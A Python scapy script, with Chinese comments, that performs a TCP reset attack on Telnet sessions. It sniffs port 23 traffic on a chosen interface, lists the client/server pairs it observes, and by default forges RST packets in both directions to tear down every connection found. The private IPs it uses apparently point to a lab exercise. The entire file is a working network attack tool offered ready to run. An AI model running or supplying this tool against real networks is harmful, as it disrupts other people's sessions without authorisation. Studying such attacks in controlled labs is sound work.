#!/usr/bin/env python3
from scapy.all import sniff, send, IP, TCP, get_if_list
from collections import Counter, defaultdict
import time

TARGET_PORT = 23
DISCOVER_SECONDS = 5
RST_INTERVAL = 0.5

direction_counts = Counter()
client_ports = Counter()
last_rst_time = defaultdict(float)


def choose_iface() -> str:
    """
    列出本机可用网卡，并让用户在命令行中选择一个。
    返回选中的 iface 名称。
    """
    ifaces = get_if_list()

    if not ifaces:
        raise RuntimeError("没有发现可用网卡")

    print("可用网卡：")
    for i, name in enumerate(ifaces, 1):
        print(f"  [{i}] {name}")

    while True:
        choice = input("请选择要监听的 iface（输入编号或网卡名）: ").strip()

        if choice in ifaces:
            return choice

        if choice.isdigit():
            idx = int(choice)
            if 1 <= idx <= len(ifaces):
                return ifaces[idx - 1]

        print("输入无效，请重新选择。")


def collect_telnet_pairs(iface: str, seconds: int = DISCOVER_SECONDS):
    """
    在指定 iface 上嗅探一段时间，收集所有和 23 端口相关的 TCP 会话 IP 对。
    返回:
        pairs: {
            ('10.9.0.6', '10.9.0.5'): {
                'client': '10.9.0.6',
                'server': '10.9.0.5',
                'count': 12
            },
            ...
        }
    """
    pairs = {}

    def collect(pkt):
        if IP not in pkt or TCP not in pkt:
            return

        ip = pkt[IP]
        tcp = pkt[TCP]

        # 只看 telnet 相关流量
        if tcp.sport != TARGET_PORT and tcp.dport != TARGET_PORT:
            return

        # 识别 client/server
        if tcp.dport == TARGET_PORT:
            client_ip = ip.src
            server_ip = ip.dst
        else:
            client_ip = ip.dst
            server_ip = ip.src

        key = (client_ip, server_ip)

        if key not in pairs:
            pairs[key] = {
                "client": client_ip,
                "server": server_ip,
                "count": 0
            }

        pairs[key]["count"] += 1

    print(f"\n[*] 正在 iface={iface} 上收集当前 Telnet TCP 连接，持续 {seconds} 秒...")
    sniff(
        iface=iface,
        filter="tcp and port 23",
        prn=collect,
        store=0,
        timeout=seconds
    )

    return pairs


def choose_target_pair(pairs):
    """
    让用户选择攻击目标:
    - 回车: 攻击全部
    - 输入编号: 攻击某一对 client/server IP
    返回:
        None 表示攻击全部
        (client_ip, server_ip) 表示只攻击这一对
    """
    if not pairs:
        print("[!] 没有发现任何和 23 端口相关的 TCP 连接")
        return None

    items = list(pairs.items())

    print("\n发现的 Telnet 连接：")
    for i, ((client_ip, server_ip), meta) in enumerate(items, 1):
        print(
            f"  [{i}] client={client_ip} <-> server={server_ip} "
            f"(抓到 {meta['count']} 个相关包)"
        )

    print("\n默认攻击所有发现的连接。")
    choice = input("按回车攻击全部；输入编号只攻击某一对 IP: ").strip()

    if choice == "":
        return None

    if choice.isdigit():
        idx = int(choice)
        if 1 <= idx <= len(items):
            key, _ = items[idx - 1]
            return key

    print("输入无效，默认攻击全部。")
    return None


def tcp_payload_len(pkt):
    ip = pkt[IP]
    tcp = pkt[TCP]

    ip_len = ip.len if ip.len is not None else len(bytes(ip))
    ip_header_len = ip.ihl * 4
    tcp_header_len = tcp.dataofs * 4

    length = ip_len - ip_header_len - tcp_header_len
    return max(length, 0)


def send_rst_both_sides(pkt):
    """
    对当前抓到的 TCP 包，同时伪造两个方向的 RST：
    1) 发给服务端，伪装成客户端
    2) 发给客户端，伪装成服务端
    """
    ip = pkt[IP]
    tcp = pkt[TCP]
    payload_len = tcp_payload_len(pkt)

    # 发给服务端：客户端 -> 服务端
    rst_to_server = IP(src=ip.src, dst=ip.dst) / TCP(
        sport=tcp.sport,
        dport=tcp.dport,
        flags="R",
        seq=tcp.seq + payload_len
    )

    send(rst_to_server, verbose=0)
    print(
        f"[RST->server] {ip.src}:{tcp.sport} -> {ip.dst}:{tcp.dport} "
        f"seq={tcp.seq + payload_len}"
    )

    # 发给客户端：服务端 -> 客户端
    if tcp.ack is not None and tcp.ack > 0:
        rst_to_client = IP(src=ip.dst, dst=ip.src) / TCP(
            sport=tcp.dport,
            dport=tcp.sport,
            flags="R",
            seq=tcp.ack
        )
        send(rst_to_client, verbose=0)
        print(
            f"[RST->client] {ip.dst}:{tcp.dport} -> {ip.src}:{tcp.sport} "
            f"seq={tcp.ack}"
        )


def packet_matches_target(pkt, selected_pair):
    """
    判断一个包是否属于目标连接。
    selected_pair:
        None -> 所有 Telnet 连接都攻击
        (client_ip, server_ip) -> 只攻击这一对
    """
    if IP not in pkt or TCP not in pkt:
        return False

    ip = pkt[IP]
    tcp = pkt[TCP]

    if tcp.sport != TARGET_PORT and tcp.dport != TARGET_PORT:
        return False

    # 识别当前包的 client/server
    if tcp.dport == TARGET_PORT:
        client_ip = ip.src
        server_ip = ip.dst
    else:
        client_ip = ip.dst
        server_ip = ip.src

    if selected_pair is None:
        return True

    return (client_ip, server_ip) == selected_pair


def handle(pkt, selected_pair):
    if not packet_matches_target(pkt, selected_pair):
        return

    ip = pkt[IP]
    tcp = pkt[TCP]

    if tcp.dport == TARGET_PORT:
        direction = "client->server"
        client_port = tcp.sport
    else:
        direction = "server->client"
        client_port = tcp.dport

    direction_counts[direction] += 1
    client_ports[client_port] += 1

    print(
        f"[MATCH] {ip.src}:{tcp.sport} -> {ip.dst}:{tcp.dport} "
        f"flags={tcp.sprintf('%TCP.flags%')} seq={tcp.seq} ack={tcp.ack}"
    )

    # 用完整四元组做节流，避免对同一方向疯狂发包
    key = (ip.src, tcp.sport, ip.dst, tcp.dport)
    now = time.time()
    if now - last_rst_time[key] < RST_INTERVAL:
        return

    last_rst_time[key] = now
    send_rst_both_sides(pkt)


def main():
    iface = choose_iface()
    print(f"\n[+] 已选择网卡: {iface}")

    pairs = collect_telnet_pairs(iface, DISCOVER_SECONDS)
    selected_pair = choose_target_pair(pairs)

    if selected_pair is None:
        print("\n[+] 当前模式：攻击所有发现的 Telnet 连接")
        bpf = "tcp and port 23"
    else:
        client_ip, server_ip = selected_pair
        print(f"\n[+] 当前模式：只攻击 {client_ip} <-> {server_ip}")
        bpf = f"tcp and host {client_ip} and host {server_ip} and port 23"

    print(f"[*] 开始监听 iface={iface}")
    print("[*] 按 Ctrl+C 停止\n")

    try:
        sniff(
            iface=iface,
            filter=bpf,
            prn=lambda pkt: handle(pkt, selected_pair),
            store=0
        )
    except KeyboardInterrupt:
        print("\n=== Summary ===")
        print(f"client->server packets: {direction_counts['client->server']}")
        print(f"server->client packets: {direction_counts['server->client']}")
        print("Observed client source ports:")
        for port, count in client_ports.most_common():
            print(f"  {port}: {count} packets")


if __name__ == "__main__":
    main()